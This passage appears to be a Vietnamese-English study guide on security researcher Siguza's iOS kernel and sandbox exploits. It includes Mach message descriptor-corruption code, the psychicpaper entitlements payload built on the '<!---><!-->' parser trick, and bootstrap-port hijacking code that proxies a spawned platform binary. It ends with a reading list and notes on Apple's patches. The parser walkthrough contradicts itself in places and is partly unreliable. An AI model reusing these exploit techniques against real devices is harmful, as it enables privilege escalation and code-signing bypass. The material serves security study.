msg.body.msgh_descriptor_count = 0;  // NO descriptors (legit)

// "Data" after body — will be reinterpreted as descriptor:
msg.fake_desc.name = 0;  // Sẽ được thay thế bởi kernel address
msg.fake_desc.disposition = MACH_MSG_TYPE_COPY_SEND;
msg.fake_desc.type = MACH_MSG_PORT_DESCRIPTOR;

// Step 2: Send message -> queued trong kernel
mach_msg(&msg.hdr, MACH_SEND_MSG, sizeof(msg), 0,
         MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);

// Step 3: Dùng evg write primitive để corrupt count: 0 -> 1
// evg->eventFlags writable qua IOHIDPostEvent
// Location của eventFlags overlaps với msgh_descriptor_count
// (do heap landing positioning)
corrupt_descriptor_count(msg_kaddr + offsetof_body + offsetof_count);

// Step 4: Receive message
// Kernel thấy count = 1 -> processes 1 port descriptor
// Fake descriptor's name field = kernel address
// -> Kernel insert "port" (actually kernel pointer) vào our space
// -> Ta nhận được mach_port_t handle cho FAKE PORT

mach_msg_header_t recv = {};
mach_msg(&recv, MACH_RCV_MSG, 0, sizeof(recv),
         target_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);

// recv giờ chứa fake port descriptor
// -> pid_for_task(fake_port) -> kread32!

/*
 * Tại sao trick này hoạt động:
 * 1. Mach message infrastructure tin tưởng msgh_descriptor_count
 * 2. Corrupt 0 -> 1 chỉ cần 1 byte/word write
 * 3. Kernel auto-translates port pointers -> port names
 *    -> Leak kernel pointer qua port name mechanism!
 * 4. Sau đó dùng fake port cho pid_for_task kread
 */

4. psychicpaper (May 2020) — iOS < 13.5

Field Detail
CVE CVE-2020-9842
Target iOS < 13.5 beta 3
Type Sandbox escape + entitlement bypass (0-day at disclosure)
Name meaning “Psychic paper” (Doctor Who) — shows whatever credentials you need
Blog siguza.net/psychicpaper
Source github.com/Siguza/psychicpaper

The 4 Parsers: Who Sees What

Bug cơ bản là 4 entitlement parsers trong iOS disagree về content của entitlements plist. Mỗi parser dùng library khác nhau:

/*
 * 4 PARSERS:
 *
 * 1. OSUnserializeXML (XNU kernel, osfmk/libkern/)
 *    -> IOKit parser, dùng cho kernel-level entitlement checks
 *    -> Parsed khi process được load
 *    -> Stored trong kernel's entitlement blob
 *
 * 2. IOCFUnserialize (IOKitUser framework, userspace)
 *    -> IOKit userspace parser
 *    -> Dùng bởi IOKit matching và property lookups
 *    -> KHÁC với OSUnserializeXML (separate implementation!)
 *
 * 3. CFPropertyListCreateWithData (CoreFoundation framework)
 *    -> Apple's standard plist parser
 *    -> Dùng bởi amfid (Apple Mobile File Integrity daemon)
 *    -> amfid validates code signatures + entitlements
 *
 * 4. xpc_create_from_plist (libxpc)
 *    -> XPC framework parser
 *    -> Dùng bởi launchd và sandbox
 *    -> Sandbox checks entitlements qua xpc
 *
 * Vấn đề: 4 parsers, 4 implementations, 4 DIFFERENT BEHAVIORS
 * cho cùng input!
 */

The <!---><!--> Trick: Byte-Level Parser Disagreement

Đây là specific trick Siguza tìm ra. XML comment syntax <!-- --> được 4 parsers xử lý KHÁC NHAU:

/*
 * XML comment standard: <!-- comment text -->
 * Comment MUST end với "-->" (3 chars: dash dash greater-than)
 *
 * Trick string: <!---><!-->
 *
 * Parser 1: CoreFoundation (CFPropertyListCreateWithData)
 * -> Scan for "-->" để kết thúc comment
 * -> Tìm "-->" bắt đầu từ vị trí 4: "<!---><!->"
 *                                        ^^^
 *                                        "-->" found at pos 4!
 * -> Comment = "<!--->" (positions 0-6, tức là "<!--" + "->" + ">")
 *
 * THỰC RA CoreFoundation xử lý như sau:
 * -> "<!--" bắt đầu comment
 * -> Scan TỪNG CHAR tìm ">"
 * -> Tìm ">" tại position 5: "<!--->"
 *                                  ^
 * -> NHƯNG: CF kiểm tra 2 chars trước ">": phải là "--"
 *    Position 3,4 = "-", ">" ... KHÔNG, position 3,4 = "-", "-"
 *    Và position 5 = ">"
 *    -> "--->" matches "-->" pattern (extra dash ignored)
 *    -> Comment ends tại position 5
 * -> PHẦN CÒN LẠI "<!->" được interpret như... MARKUP
 * -> NHƯNG: "<!->" không phải valid XML -> PARSE ERROR
 * -> ERROR -> amfid thấy không có entitlements -> PASS (empty dict)
 *    (amfid: "không có entitlements" = "không cần restrict")
 *
 * Parser 2: IOCFUnserialize / OSUnserializeXML
 * -> "<!--" bắt đầu comment  
 * -> Scan for "-->"
 * -> Tìm "-->" tại position KHÁC (parser advances differently)
 * -> Comment bao trùm KHÁC portion của string
 * -> Phần còn lại ĐƯỢC PARSE như valid XML
 * -> Parser thấy FULL ENTITLEMENTS DICTIONARY!
 *
 * KEY DIFFERENCE:
 *   CoreFoundation: advances pointer 2 chars khi thấy "--"
 *   IOKit parsers: advances pointer 3 chars khi thấy "-->"
 *
 *   Với input "<!---><!-->":
 *   CF sees:  [comment: <!--->] [garbage: <!-->] -> ERROR -> empty
 *   IOKit:    [comment: <!---><!-->] -> OK, comment consumed all
 *             HOẶC: [comment: <!--] [-->] -> depends on position
 */

// Actual exploit payload:
const char *entitlements_xml =
    "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n"
    "<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\">\n"
    "<plist version=\"1.0\">\n"
    "<!---><!-->\n"                    // THE TRICK
    "<dict>\n"
    "  <key>task_for_pid-allow</key>\n"
    "  <true/>\n"
    "  <key>com.apple.private.security.no-container</key>\n"
    "  <true/>\n"
    "  <key>platform-application</key>\n"
    "  <true/>\n"
    "  <key>com.apple.private.skip-library-validation</key>\n"
    "  <true/>\n"
    "</dict>\n"
    "</plist>\n";

/*
 * amfid (CoreFoundation parser):
 *   -> <!---><!--> triggers parse error
 *   -> Returns empty dictionary
 *   -> "No restricted entitlements" -> VALIDATES OK
 *   -> Signs binary as valid
 *
 * Kernel (OSUnserializeXML):
 *   -> <!---><!--> parsed differently
 *   -> Comment consumes trick, dict is visible
 *   -> Kernel sees: task_for_pid-allow = true
 *   -> Kernel sees: no-container = true
 *   -> Kernel sees: platform-application = true
 *   -> Process gets ALL THESE ENTITLEMENTS!
 *
 * RESULT: amfid says "binary is fine"
 *         kernel says "binary has platform entitlements"
 *         -> FULL PLATFORM ACCESS from unsigned app
 */

Exception Port Hijacking (iOS 11+)

Trên iOS 11+, Apple thêm platform binary check: chỉ platform binaries được dùng certain mach port capabilities. psychicpaper bypass này bằng exception port proxy technique:

/*
 * Vấn đề trên iOS 11+:
 *   - task_for_pid-allow entitlement KHÔNG đủ
 *   - Kernel check: caller phải là platform binary
 *   - Platform binary = signed by Apple
 *   - psychicpaper app KHÔNG PHẢI platform binary
 *     (dù có platform-application entitlement)
 *   - Vì platform check dựa trên CODE SIGNATURE,
 *     không phải entitlement
 *
 * GIẢI PHÁP: exception port + bootstrap port hijacking
 * Spawn một REAL platform binary, hijack communications của nó
 */

// Step 1: Tạo mach ports cho hijacking
mach_port_t exception_port = MACH_PORT_NULL;
mach_port_t bootstrap_port = MACH_PORT_NULL;

mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE,
                   &exception_port);
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE,
                   &bootstrap_port);

mach_port_insert_right(mach_task_self(), exception_port,
                       exception_port, MACH_MSG_TYPE_MAKE_SEND);
mach_port_insert_right(mach_task_self(), bootstrap_port,
                       bootstrap_port, MACH_MSG_TYPE_MAKE_SEND);

// Step 2: Setup posix_spawn attributes
posix_spawnattr_t attr;
posix_spawnattr_init(&attr);

// Set exception port: mọi exception của child -> ta nhận
// (không dùng standard exception handling)

// Set bootstrap port: child's bootstrap_port = our port
// -> Khi child gọi bootstrap_look_up() -> message đến TA
//    thay vì đến launchd!
posix_spawnattr_setspecialport_np(&attr, bootstrap_port,
                                  TASK_BOOTSTRAP_PORT);

// Spawn suspended platform binary
// cfprefsd là platform binary, luôn có mặt, nhỏ gọn
short flags = POSIX_SPAWN_START_SUSPENDED;
posix_spawnattr_setflags(&attr, flags);

pid_t child_pid;
char *child_argv[] = { "/usr/sbin/cfprefsd", NULL };
posix_spawn(&child_pid, "/usr/sbin/cfprefsd", NULL, &attr,
            child_argv, NULL);

// Step 3: Resume child
kill(child_pid, SIGCONT);

// Child starts executing:
//   cfprefsd calls bootstrap_look_up("com.apple.cfprefsd.daemon")
//   -> Message goes to OUR bootstrap_port (not launchd!)
//   -> Ta nhận message!

// Step 4: Proxy/intercept bootstrap lookups
void proxy_bootstrap(mach_port_t our_bootstrap) {
    while (1) {
        // Receive bootstrap lookup request từ child
        struct {
            mach_msg_header_t hdr;
            char data[4096];
        } msg = {};

        mach_msg(&msg.hdr, MACH_RCV_MSG, 0, sizeof(msg),
                 our_bootstrap, MACH_MSG_TIMEOUT_NONE,
                 MACH_PORT_NULL);

        // Parse service name từ message
        char *service_name = extract_service_name(&msg);

        if (strcmp(service_name, "com.apple.cfprefsd.daemon") == 0) {
            // Return OUR port as the "service"
            // -> Child sẽ gửi messages đến TA
            //    thinking it's talking to cfprefsd daemon
            reply_with_port(&msg, our_port);
        } else {
            // Forward đến real launchd cho other services
            forward_to_launchd(&msg);
        }
    }
}

/*
 * Step 5: Use platform binary as proxy
 *
 * Child (cfprefsd) là platform binary:
 *   - Có valid Apple code signature
 *   - Passes platform binary checks
 *   - Có real entitlements
 *
 * Ta intercept communications của child:
 *   - Child gửi privileged message đến "service"
 *   - "Service" là actually OUR PORT
 *   - Ta nhận message, có thể modify, forward, hoặc respond
 *
 * -> Ta có thể impersonate ANY mach service
 *    đối với platform binary
 * -> Platform binary's identity used for authorization
 * -> FULL PLATFORM ACCESS qua proxy!
 *
 * Ví dụ practical:
 *   - Redirect child đến connect to MobileInstallation
 *   - Child (platform binary) asks to install profile
 *   - Authorization check: "is caller platform binary?" -> YES
 *   - Profile installed -> arbitrary app installation
 */

Tại sao psychicpaper là exploit elegant nhất

Comparison với memory corruption exploits:

  Memory corruption exploit:
    - Need heap spray (thousands of allocations)
    - Need timing (race conditions)
    - Need cleanup (avoid panic)
    - Success rate: 50-90%
    - Crashes on failure
    - Depends on device/version
    - Complex: 500-2000 lines of code

  psychicpaper:
    - No heap spray
    - No timing
    - No cleanup needed
    - Success rate: 100%
    - No crash possible
    - Works across ALL iOS versions < 13.5
    - Simple: <100 lines of core code
    - Gives ANY entitlement

Impact:

  • Dùng bởi unc0ver jailbreak (bypass code signing step)
  • TrollStore concept inspiration (entitlement/codesign bypass path)
  • Patched in iOS 13.5 beta 3 after Siguza disclosed

Research Articles Quan Trọng

APRR Deep Dive

Siguza documented APRR (Apple Page Region Protection) — hardware feature underpinning PPL:

  • How APRR remaps page permissions per-EL
  • How PPL uses APRR to protect page tables
  • Foundation knowledge cho PPL exploitation research

PAC Internals

Analysis of Apple’s PAC implementation:

  • How keys are managed
  • Which pointers are signed and with what context
  • Where PAC coverage has gaps

Kext Documentation

Siguza documented nhiều undocumented kernel extensions:

  • IOKit driver hierarchy
  • Hidden IOKit properties
  • Undocumented system calls

Siguza’s Approach — What To Learn

1. Deep Source Code Reading

Siguza đọc XNU source code thoroughly:
  - Không chỉ tìm bugs — hiểu entire subsystem
  - Document behavior mà Apple không document
  - Tìm inconsistencies giữa documentation và code
  → Bugs thường nằm ở gaps giữa intended và actual behavior

2. Finding Logic Bugs

psychicpaper = pure logic bug, no memory corruption
  - Tìm parser disagreements
  - Tìm inconsistent state handling
  - Tìm assumption mismatches giữa components
  → Often more reliable và powerful than memory corruption

3. IOKit Expertise

v0rtex, IOHIDeous: cả hai target IOKit drivers
  - Understand IOKit object lifecycle
  - Understand UserClient patterns
  - Understand race conditions in driver callbacks
  → IOKit = largest kernel attack surface

4. Write-Up Quality

Siguza's blog posts:
  - Narrative style: tell a story
  - Explain WHY decisions were made
  - Show failed approaches before successful one
  - Include enough detail to reproduce
  → Read these write-ups as tutorials, not just reports

Tài Nguyên — Đọc Theo Thứ Tự

  1. cl0ver (2016) — First exploit, introduces OSUnserializeXML technique
  2. v0rtex (2017) — IOSurface exploitation masterclass
  3. IOHIDeous (2017) — IOKit race condition hunting
  4. psychicpaper (2020) — Logic bug artistry
  5. Siguza’s GitHub — Source code cho tất cả exploits
  6. Siguza’s Blog — Tất cả research articles

Evolution: How Siguza’s Techniques Were Killed

v0rtex techniques (2017):
  - OSUnserializeXML spray -> hardened in iOS 12 (input validation)
  - Fake IKOT_TASK port -> killed by zone_require (iOS 14)
  - getExternalTrapForIndex gadget -> killed by PAC (iOS 12 arm64e)
  - IOSurface refcount bug -> patched, class hardened

IOHIDeous techniques (2017):
  - Shared memory race -> initShmem() rewritten (macOS 10.13.2)
  - IOHIDUserClient access -> further restricted
  - Same bug class found and killed in iOS too

psychicpaper techniques (2020):
  - Parser disagreement -> unified parser (iOS 13.5)
  - All 4 parsers now use SAME underlying implementation
  - Additional entitlement validation in kernel
  - Still inspired TrollStore approach (different path, same concept)

Impact on iOS security:
  Siguza's work directly caused Apple to:
  1. Unify entitlement parsing (psychicpaper)
  2. Add zone_require for port zones (v0rtex class)
  3. Restrict IOKit UserClient access patterns (IOHIDeous)
  4. Improve shared memory isolation (IOHIDeous)
  5. Harden OSUnserializeXML input validation (cl0ver/v0rtex)